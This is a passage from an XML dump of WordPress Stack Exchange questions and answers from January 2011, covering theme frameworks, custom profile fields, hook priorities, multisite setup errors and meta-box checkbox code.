requirement to stick to the framework's required code conventions.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a program developer Carrington may be a little light and only offer a nice way to organize your templates.  For designers, Carrington removes the need to dive into PHP and create template conditions.  If you are neither programmer nor designer then you will need something like &lt;a href=&quot;http://crowdfavorite.com/wordpress/carrington-build/&quot; rel=&quot;nofollow&quot;&gt;Carrington Build&lt;/a&gt; which allows you to create drag and drop layouts.  Which I have not tried and is not free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Licensing and pricing&lt;/strong&gt; Carrington is free, GPLv2&lt;/p&gt;&#xA;" OwnerUserId="2362" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-11T12:40:58.627" LastActivityDate="2011-01-11T12:40:58.627" CommunityOwnedDate="2011-01-10T21:57:16.197" CommentCount="2" />
  <row Id="6690" PostTypeId="1" AcceptedAnswerId="6711" CreationDate="2011-01-10T22:28:50.257" Score="0" ViewCount="596" Body="&lt;p&gt;i have been working on a custom system for my site where users can have a seperate account, setting and profile page to make my site a bit more interactive and community type. with some other additional stuff.&#xA;I am new to coding,  i have managed to make the profile pages etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now i am stuck in adding a check box list of tags to user settings page. where a user can select multiple tags as interest.. so i can use those to show him recommended posts randomly on his account page . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i was able to add two extra fields (Twitter/facebook) in the settings page with this code : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_bkmrks_contactmethod( $bcontactmethods ) {&#xA;$bcontactmethods['Twitter'] = 'Twitter';&#xA;$bcontactmethods['Facebook'] = 'Facebook';&#xA;return $bcontactmethods;&#xA;}&#xA;add_filter('user_contactmethods','add_bkmrks_contactmethod',10,1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and tehse can be easily called on pages as well by using &lt;code&gt;$userinfo-&amp;gt;Twitter&lt;/code&gt; etc. but i have no clue about the checkboxlist... and calling the array etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you guys came across any article or chunk of code which can help me get this resolved i wil be thankful :) &#xA;cheers&#xA;Ayaz&lt;/p&gt;&#xA;" OwnerUserId="2419" LastActivityDate="2011-01-21T23:23:06.583" Title="How to add/save Custom Field in user settings/profile &quot;Checkbox list&quot;" Tags="&lt;custom-field&gt;" AnswerCount="2" />
  <row Id="6692" PostTypeId="2" ParentId="6636" CreationDate="2011-01-10T23:59:24.657" Score="3" ViewCount="" Body="&lt;p&gt;Why doesn't this work?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_postmeta &#xA;SET meta_value = REPLACE( meta_value, '$', '' ) &#xA;WHERE meta_key LIKE 'price';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-01-11T05:02:33.373" LastActivityDate="2011-01-11T05:02:33.373" CommentCount="2" />
  <row Id="6693" PostTypeId="2" ParentId="6688" CreationDate="2011-01-11T00:27:01.117" Score="3" ViewCount="" Body="&lt;p&gt;Yes, you may add as many actions to the hook as you wish. Just try it.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-01-11T00:27:01.117" />
  <row Id="6694" PostTypeId="2" ParentId="6618" CreationDate="2011-01-11T00:41:41.233" Score="2" ViewCount="" Body="&lt;p&gt;So basically what you're asking is how to create a php-based installer for the OData SDK, right? Or how to somehow package it with your plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I thought you could just include the whole framework in your plugin folder, and include it directly from there. But it turns out (from reading the install docs) that installation of the SDK requires some actual changes to the php ini outside of just adding the include path, and the SDK itself has several dependencies (php-xml, php-xsml, curl modules).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, I don't think you can do this effectively with a php-based installer. And I don't know of any WordPress-specific bundling techniques that help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My best advice is: find another way to do the remote logging that doesn't rely on OData. For example, build a simple REST service on your centralized server that can be hit using wp_http.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you NEED to use OData for some reason, simply make it a prerequisite for your plugin. Find a way to test for its existence, and spit out a warning that says &quot;you need the OData SDK&quot; if it isn't installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If none of that helps, try contacting folks who work on the OData SDK (&lt;a href=&quot;http://odataphp.codeplex.com/team/view&quot; rel=&quot;nofollow&quot;&gt;http://odataphp.codeplex.com/team/view&lt;/a&gt;). Distributing this software isn't really an issue that's specific to WordPress... they may have better general advice for making a portable php-based installer.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-11T00:41:41.233" CommentCount="1" />
  <row Id="6695" PostTypeId="1" AcceptedAnswerId="6696" CreationDate="2011-01-11T01:58:04.147" Score="1" ViewCount="147" Body="&lt;p&gt;I have a self-hosted Wordpress Blog (located at &lt;a href=&quot;http://www.dougmolineux.com/wp&quot; rel=&quot;nofollow&quot;&gt;http://www.dougmolineux.com/wp&lt;/a&gt; if you're interesed :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put a lot of Code Snippets on there, because I'm a programmer. How do I make these &quot;snippets&quot; code friendly? Right now, I am using a simple Blockquote around each one and it converts all single and double apostrophes into strange symbols that will not work when the code is actually copied and pasted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am willing to convert to a new theme, or alter an existing one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2421" LastActivityDate="2011-01-11T11:50:41.597" Title="Code Friendly Block Quotes" Tags="&lt;code&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="6696" PostTypeId="2" ParentId="6695" CreationDate="2011-01-11T02:02:08.250" Score="4" ViewCount="" Body="&lt;p&gt;&lt;img src=&quot;http://qbnz.com/highlighter/images/geshi.png&quot; alt=&quot;geshi&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Geshi&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In general the Geshi library is a popular library for formatting code ( &lt;a href=&quot;http://qbnz.com/highlighter/&quot; rel=&quot;nofollow&quot;&gt;http://qbnz.com/highlighter/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Geshi as a WordPress plugin&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For WordPress several authors &quot;packaged&quot; Geshi in a plugin. take your pick:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=geshi&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search.php?q=geshi&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The one I use&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Personally I use this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/codecolorer/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/codecolorer/&lt;/a&gt;. This one works by enclosing all pieces of codes with a [cc lang=&quot;bla&quot;] code [/cc] tag where you can specify things like language, width, line numbering, etc…&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://s.wordpress.org/extend/plugins/codecolorer/screenshot-1.png?r=331090&quot; alt=&quot;geshi example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-01-11T02:16:33.170" LastActivityDate="2011-01-11T02:16:33.170" CommentCount="2" />
  <row Id="6697" PostTypeId="1" CreationDate="2011-01-11T02:07:33.213" Score="1" ViewCount="115" Body="&lt;p&gt;Need help to display in my single post with something like this :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;My title Post&lt;/li&gt;&#xA;&lt;li&gt;first image of the post attachment &amp;lt;&amp;lt; here&lt;/li&gt;&#xA;&lt;li&gt;Content&lt;/li&gt;&#xA;&lt;li&gt;the rest of image &amp;lt;&amp;lt;&amp;lt; here &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All that image with the description here :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;can display whether thumbnail, medium or large image attachment.&lt;/li&gt;&#xA;&lt;li&gt;if i hover the image, there will be a title and alternate text taken from the image name.&lt;/li&gt;&#xA;&lt;li&gt;image can be clikable and if i click the image, it will lead me to image attachment page or image.php&lt;/li&gt;&#xA;&lt;li&gt;a class features inside this code&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Maybe thats all.. I hope someone could help me on this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Max&lt;/p&gt;&#xA;" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-11T12:54:19.697" LastActivityDate="2011-08-11T07:22:17.210" Title="Help me display 1st image on top of the content and the rest below the content..?" Tags="&lt;attachments&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6698" PostTypeId="1" CreationDate="2011-01-11T02:34:21.200" Score="0" ViewCount="206" Body="&lt;p&gt;Can someone helping me implement single post image with Javascript features with image zoom such i found here : &lt;a href=&quot;http://www.housetohome.co.uk/galleries/bedroom/adult/Relaxed_country_bedroom_31391.html&quot; rel=&quot;nofollow&quot;&gt;http://www.housetohome.co.uk/galleries/bedroom/adult/Relaxed_country_bedroom_31391.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;max&lt;/p&gt;&#xA;" LastActivityDate="2011-01-11T12:53:05.203" Title="Help display image in single post using javascript zoom image..?" Tags="&lt;javascript&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6699" PostTypeId="1" CreationDate="2011-01-11T06:42:32.913" Score="1" ViewCount="200" Body="&lt;p&gt;&lt;strong&gt;The problem&lt;/strong&gt;: to change a widget's options with a custom function in functions.php, when there are no useful hooks, and where there are multiple occurrences of the same widget (multiwidget). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would involve:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Retrieving the options from &quot;widget_some-widget&quot; in the &quot;wp_options&quot; table. (The returned option containing a string of settings (in serialized form) repeated several times corresponding to several unique occurrences of the same widget.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Changing the value of say the third occurrence of an option instance called &lt;code&gt;some_name&lt;/code&gt;, from &quot;old-value&quot; to &quot;new-value&quot;, and another called &lt;code&gt;some_other_name&lt;/code&gt;, from &quot;some-old-value&quot; to &quot;some-new-value&quot;. (It may be that each occurrence of the widget has its own id within the serialized options string that could be recognised somehow?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Updating the database with the altered options&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;i.e. something along these lines -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function change_widget_configuration() {&#xA;&#xA;    $options = get_option('widget_some-widget');&#xA;&#xA;// [code to parse $options string to ensure the correct occurrences of 'some_name' and 'some_other_name' have their values changed]&#xA;&#xA;/* third-occurrence of */    $options['some_name'] = 'new value';&#xA;/* third-occurrence of */    $options['some_other_name'] = 'new value';&#xA;&#xA;    update_option('widget_some-widget', $options);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The widget's serialized options string might look something like this (minus the ellipsis) -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;i:3;a:20:{s:5:&quot;title&quot;;s:8:&quot;My Title&quot;;s:9:&quot;some_name&quot;;s:11:&quot;Bit of text&quot;;s:15:&quot;some_other_name&quot;;s:2:&quot;17&quot;;&lt;/code&gt;  [...]  &lt;code&gt;s:14:&quot;more_from_this&quot;;s:29:&quot;More articles on this subject&quot;;}s:12:&quot;_multiwidget&quot;;i:1;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What kind of approach can be taken (with the commented-out code above) to solve this problem? *&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*This would be very useful for controlling the output of third-party widgets (that do not have any useful hooks) without needing to alter their code, or repeating large chunks of it in the functions.php&lt;/p&gt;&#xA;" OwnerUserId="2039" LastEditorUserId="2039" LastEditorDisplayName="" LastEditDate="2011-01-12T13:47:42.803" LastActivityDate="2011-01-12T13:47:42.803" Title="Changing widget options via the functions.php when there are no hooks" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;options&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="6700" PostTypeId="1" AcceptedAnswerId="6805" CreationDate="2011-01-11T06:44:43.217" Score="-1" ViewCount="190" Body="&lt;p&gt;I have my permalink set to &lt;code&gt;%postname%/%location%/%course%&lt;/code&gt; I want this permalink &lt;code&gt;%location%/%course%/%postname%&lt;/code&gt; but due to this I get 404 on every page but not on posts,&#xA;I decided to put this permalink &lt;code&gt;%postname%/%location%/%course%/%postname%&lt;/code&gt; but I need to strip the starting postname, in such a way I ll get no 404 pages and google will also index my site with this permalink &lt;code&gt;/%location%/%course%/%postname%&lt;/code&gt; without any 404&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how to do this????&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code, for displaying custom taxonomies on permalinks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('post_link', 'location_permalink', 10, 3);&#xA;add_filter('post_type_link', 'location_permalink', 10, 3);&#xA;&#xA;&#xA;    function location_permalink($permalink, $post_id, $leavename) {&#xA;        if (strpos($permalink, '%location%') === FALSE) return $permalink;&#xA;&#xA;            // Get post&#xA;            $post = get_post($post_id);&#xA;            if (!$post) return $permalink;&#xA;&#xA;            // Get taxonomy terms&#xA;            $terms = wp_get_object_terms($post-&amp;gt;ID, 'location');    &#xA;            if (!is_wp_error($terms) &amp;amp;&amp;amp; !empty($terms) &amp;amp;&amp;amp; is_object($terms[0])) $taxonomy_slug = $terms[0]-&amp;gt;slug;&#xA;            else $taxonomy_slug = 'location';&#xA;&#xA;        return str_replace('%location%', $taxonomy_slug, $permalink);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-16T08:36:32.040" LastActivityDate="2011-02-16T08:36:32.040" Title="htaccess strip url" Tags="&lt;permalinks&gt;&lt;htaccess&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="6701" PostTypeId="2" ParentId="6688" CreationDate="2011-01-11T08:03:40.980" Score="6" ViewCount="" Body="&lt;p&gt;WordPress hooks work like Hollywood: you don't call them, they call you. But unlike Hollywood, they keep calling everyone on the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's normal for an action or a filter to have multiple functions hooked to it, from different plugins, or even just different &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/default-filters.php#L112&quot; rel=&quot;nofollow&quot;&gt;functions in the WordPress core that all do something specific&lt;/a&gt;. It is not only possible, but even good practice, as it means your code gets clearer (each function does only one thing) and it's easier to disable one specific piece of functionality by unhooking it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that you can also play with the priorities of hooks: if you want to run both &lt;code&gt;functionA()&lt;/code&gt; and &lt;code&gt;functionB()&lt;/code&gt; in the &lt;code&gt;after_setup_theme&lt;/code&gt;, but &lt;code&gt;functionA()&lt;/code&gt; must run before &lt;code&gt;functionB()&lt;/code&gt;, you can hook &lt;code&gt;functionA()&lt;/code&gt; with the default priority &lt;code&gt;10&lt;/code&gt; and &lt;code&gt;functionB()&lt;/code&gt; with priority &lt;code&gt;20&lt;/code&gt; (or any other number above 10). What won't work is hooking another function to an action &lt;em&gt;while that action is executing&lt;/em&gt;. So you can't hook &lt;code&gt;functionB()&lt;/code&gt; to &lt;code&gt;after_setup_theme&lt;/code&gt; from &lt;code&gt;functionA()&lt;/code&gt;, called on &lt;code&gt;after_setup_theme&lt;/code&gt;. You could call it directly, but you would lose the benefit of separate hooks.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-11T08:03:40.980" />
  <row Id="6702" PostTypeId="1" CreationDate="2011-01-11T08:07:58.603" Score="0" ViewCount="250" Body="&lt;p&gt;I have installed and converted two wordpress installations to Multisite .It was not first time and I done it before for some of my websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was successfully able to use it too.But I could not find sub-site files/folders in &lt;strong&gt;'Blogs.dir'&lt;/strong&gt; .Hence some plugins are showing errors as there are no files/folders for sub-sites(like subsite 1, 2, 3 etc) in &lt;strong&gt;blogs.dir&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem might be this...I firstly placed the &lt;strong&gt;Multisite&lt;/strong&gt; conversion code at long place in &#xA;&lt;strong&gt;wp-config.php&lt;/strong&gt; .Later I realise my fault and corrected it.But the problem is still un-resolved.Still there are no files in blogs.dir &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anybody help me to resolve this issue? I don't understand if it is because of the new version &lt;strong&gt;3.0.4&lt;/strong&gt; or my fault ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: I installed a new multisite on other fresh domain .And the same problem there. I think the new version don't need that or some thing wrong with my server configuration&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update 2 : I am adding a screenshot of my empty blogs.dir folder &#xA;&lt;img src=&quot;http://img534.imageshack.us/img534/768/blogsdir.jpg&quot;&gt;&lt;a href=&quot;http://img534.imageshack.us/img534/768/blogsdir.jpg&quot; rel=&quot;nofollow&quot;&gt;http://img534.imageshack.us/img534/768/blogsdir.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update 3:&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Actually the problem is caused with a plugin named &lt;a href=&quot;http://wordpress.org/extend/plugins/zingiri-web-shop/&quot; rel=&quot;nofollow&quot;&gt;Zingiri&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The plugin is installed on Multisite installation and got these messages :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Directory /home/..../public_html/wp-content/blogs.dir/2/files/ is not writable, please chmod to 777&#xA;Directory /home/......./public_html/wp-content/blogs.dir/2/files/zingiri-web-shop doesn't exist&#xA;.........&#xA;.........&#xA;Directory /home/....../public_html/wp-content/blogs.dir/2/files/zingiri-web-shop/digital-a42fzcxaq5ykww4t doesn't exist&#xA;Turn off magic quotes on your installation. Read more about why you should disable this setting&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( ( 1 )This is the warning message on sub-sites.The Numeral ' 2 ' represents a subsite here )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I am having another error message too (here :/wp-admin/admin.php?page=zingiri-web-shop)...when I click on &lt;strong&gt;Install&lt;/strong&gt; button in plugin settings page (However it finishes installing the script).&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Error&lt;/strong&gt;:Table 'wpuser_wpdb1.wp_2_users' doesn't exist&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;'Magic Quotes ' are already turned off and tried changing the permissions for blogs.dir .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even after doing all these,that problem is unresolved .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;After realizing the issue is caused with that particular plugin .I attempted to delete the question because some might thing this question is related to plugin and not with blogs.dir&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;-------------&lt;/h2&gt;&#xA;" OwnerUserId="391" LastEditorUserId="391" LastEditorDisplayName="" LastEditDate="2011-01-12T07:55:52.187" LastActivityDate="2011-08-11T23:22:28.097" Title="Problem with new Multisite Installation" Tags="&lt;multisite&gt;&lt;configuration&gt;&lt;wp-config&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="6704" PostTypeId="2" ParentId="6658" CreationDate="2011-01-11T08:56:34.367" Score="4" ViewCount="" Body="&lt;p&gt;MyISAM locks the whole page for writes and is not ACID compliant, while InnoDB sticks to locking rows as you point out, and is ACID compliant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes it sturdier when you've a lot of writes, as in faster and less prone to data corruption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's slower for reads in my experience, though it handles concurrent connections better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also clutters the catalog. (I had a large DB one day which I switched to InnoDB from MyISAM, and the catalog ballooned by 2GB, or the size of my DB, for reasons I never understood, though I'm suspecting it had to do with temporary data such as index creation and the like, which didn't get flushed properly.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway... With your current load, InnoDB is an option, as is memcached alongside an object cache.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastEditorUserId="1208" LastEditorDisplayName="" LastEditDate="2011-01-11T10:11:41.027" LastActivityDate="2011-01-11T10:11:41.027" CommentCount="3" />
  <row Id="6705" PostTypeId="2" ParentId="1270" CreationDate="2011-01-11T10:42:06.003" Score="0" ViewCount="" Body="&lt;p&gt;In any case, in Windows, you are not forced to use IIS7 , can use other options. I would advice to check &lt;a href=&quot;http://bitnami.org/stack/wordpress&quot; rel=&quot;nofollow&quot;&gt;BitNami Wordpress&lt;/a&gt; installer. You can even have a sort of LAMP in windows: &lt;a href=&quot;http://bitnami.org/stack/wampstack&quot; rel=&quot;nofollow&quot;&gt;http://bitnami.org/stack/wampstack&lt;/a&gt;  , and install apps like Wordpress as modules, which will use WAMP as common base.&lt;/p&gt;&#xA;" OwnerUserId="1762" LastActivityDate="2011-01-11T10:42:06.003" />
  <row Id="6706" PostTypeId="2" ParentId="1482" CreationDate="2011-01-11T11:01:20.390" Score="1" ViewCount="" Body="&lt;p&gt;One way of doing this is to use the &lt;a href=&quot;http://agapetry.net/news/introducing-role-scoper&quot; rel=&quot;nofollow&quot;&gt;Role Scoper plugin&lt;/a&gt;, it is great for managing very specific roles and capabilities too. You can actually lock access to images in the Media Library to only those uploaded by each user. I've been using it for a project that I'm working on at the moment and it works well.&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2011-01-11T11:01:20.390" />
  <row Id="6707" PostTypeId="2" ParentId="6513" CreationDate="2011-01-11T11:05:39.047" Score="2" ViewCount="" Body="&lt;p&gt;I took &lt;a href=&quot;http://wpshout.com/create-an-in-post-theme-options-meta-box-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;the example code you suggested&lt;/a&gt; and changed the following to get multicheck support:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add this at the end of the file&#xA;// A good prefix for your name prevents problems later!&#xA;function wpse6513_get_meta_check( $args = array(), $current_values = array() )&#xA;{&#xA;    extract( $args );&#xA;&#xA;    $name_esc = esc_attr( $name );&#xA;&#xA;    if ( ! is_array( $current_values ) ) {&#xA;        $current_values = array();&#xA;    }&#xA;&#xA;    echo '&amp;lt;tr&amp;gt;';&#xA;    echo '&amp;lt;th style=&quot;width: 10%&quot;&amp;gt;';&#xA;    echo '&amp;lt;label for=&quot;' . $name_esc . '&quot;&amp;gt;' . esc_html( $title ) . '&amp;lt;/label&amp;gt;';&#xA;    echo '&amp;lt;/th&amp;gt;';&#xA;    echo '&amp;lt;td&amp;gt;';&#xA;&#xA;    foreach ( $options as $option_value =&amp;gt; $option_label ) {&#xA;        $option_value_esc = esc_attr( $option_value );&#xA;        echo '&amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;' . $name_esc . '[]&quot; id=&quot;' . $name_esc . '_' . $option_value_esc . '&quot; value=&quot;' . $option_value_esc . '&quot;';&#xA;        if ( in_array( $option_value, $current_values ) ) {&#xA;            echo ' checked=&quot;checked&quot;';&#xA;        }&#xA;        echo '/&amp;gt; ' . esc_html( $option_label );&#xA;        echo '&amp;lt;/label&amp;gt;&amp;lt;br/&amp;gt;';&#xA;    }&#xA;    echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;' . $name_esc . '_noncename&quot; id=&quot;' . $name_esc . '_noncename&quot; value=&quot;' . wp_create_nonce( plugin_basename( __FILE__ ) ) . '&quot; /&amp;gt;';&#xA;&#xA;    echo '&amp;lt;/td&amp;gt;';&#xA;    echo '&amp;lt;/tr&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;hybrid_save_meta_data()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Replace this line:&#xA;$data = stripslashes( $_POST[$meta_box['name']] );&#xA;// By these lines:&#xA;$data = array_key_exists( $meta_box['name'], $_POST ) ? $_POST[$meta_box['name']] : '';&#xA;if ( is_array( $data ) ) {&#xA;    $data = array_map( 'stripslashes', $data );&#xA;} else {&#xA;    $data = stripslashes( $data );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And of course, in &lt;code&gt;post_meta_boxes()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add this to the `$meta['type']` if/else list&#xA;elseif ( $meta['type'] == 'check' )&#xA;    wpse6513_get_meta_check( $meta, $value );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can handle &quot;multichecks&quot; of the form you suggested:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'location' =&amp;gt; array(&#xA;    'name' =&amp;gt; 'location',&#xA;    'title' =&amp;gt; __('Location:', 'hybrid'),&#xA;    'type' =&amp;gt; 'check',&#xA;    'options' =&amp;gt; array(&#xA;        'AL' =&amp;gt; 'Alabama',&#xA;        'CA' =&amp;gt; 'California',&#xA;        'DE' =&amp;gt; 'Delaware',&#xA;    ),&#xA;),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally some code to prevent warnings (which you won't see unless you enable &lt;code&gt;WP_DEBUG&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Replace all `wp_specialchar()` calls with `esc_attr()`&#xA;// Add these lines in `hybrid_save_meta_data()`:&#xA;// At the start, after `global $post`:&#xA;if ( ! array_key_exists( 'post_type', $_POST ) ) {&#xA;    return $post_id;&#xA;}&#xA;&#xA;// In the foreach loop, instead of:&#xA;if ( !wp_verify_nonce( $_POST[$meta_box['name'] . '_noncename'], plugin_basename( __FILE__ ) ) )&#xA;    return $post_id;&#xA;// Write:&#xA;$nonce_name = $meta_box['name'] . '_noncename';&#xA;if ( ! array_key_exists( $nonce_name, $_POST ) || !wp_verify_nonce( $_POST[$nonce_name], plugin_basename( __FILE__ ) ) )&#xA;    return $post_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-13T08:00:05.343" LastActivityDate="2011-01-13T08:00:05.343" CommentCount="7" />
  <row Id="6708" PostTypeId="2" ParentId="6663" CreationDate="2011-01-11T11:33:04.507" Score="1" ViewCount="" Body="&lt;p&gt;There several possible scenarios:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;For some reason W3 is not properly configured or configuration was improperly applied to .htaccess files.&lt;/li&gt;&#xA;&lt;li&gt;W3 is properly configured but has compatibility issues with some part of your setup.&lt;/li&gt;&#xA;&lt;li&gt;This has nothing to do with W3 at all and comes from some other part of your setup or server.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;From this little details it is hard to make educated guess. Aside from generic unnstall/reinstall W3 I can only suggest to try contacting W3 developer with oyur configuration details and your hosting support to check server logs for any visible issues.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-11T11:33:04.507" />
  <row Id="6709" PostTypeId="2" ParentId="3725" CreationDate="2011-01-11T11:49:00.383" Score="2" ViewCount="" Body="&lt;h1&gt;&lt;a href=&quot;http://starkerstheme.com/&quot; rel=&quot;nofollow&quot;&gt;Starkers&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&lt;p&gt;Starkers is a bare-bones WordPress theme created to act as a starting point for the theme designer.&lt;/p&gt;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Purpose:&lt;/strong&gt; A great starting point for any WP theme. It containings all the basic template tags you need to create a theme without any unnecessary markup / images / js. In my opinion one of the best themes to use when learning to develop for WP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Features:&lt;/strong&gt; All non-semantic, presentational class names (e.g: class=“center”, class=“alignleft”) have been removed; all non-semantic, presentational HTML elements (e.g: hr, br) have been removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Browser defaults have also been reset in the stylesheet (based on the YUI Reset) to provide a true “clean slate”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Downsides:&lt;/strong&gt; Essentially this is a theme to build on, therefore you need to be proficient enough in HTML/CSS to implement a design around the theme from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Licensing and pricing&lt;/strong&gt;: GPLv2 ( assumed, it 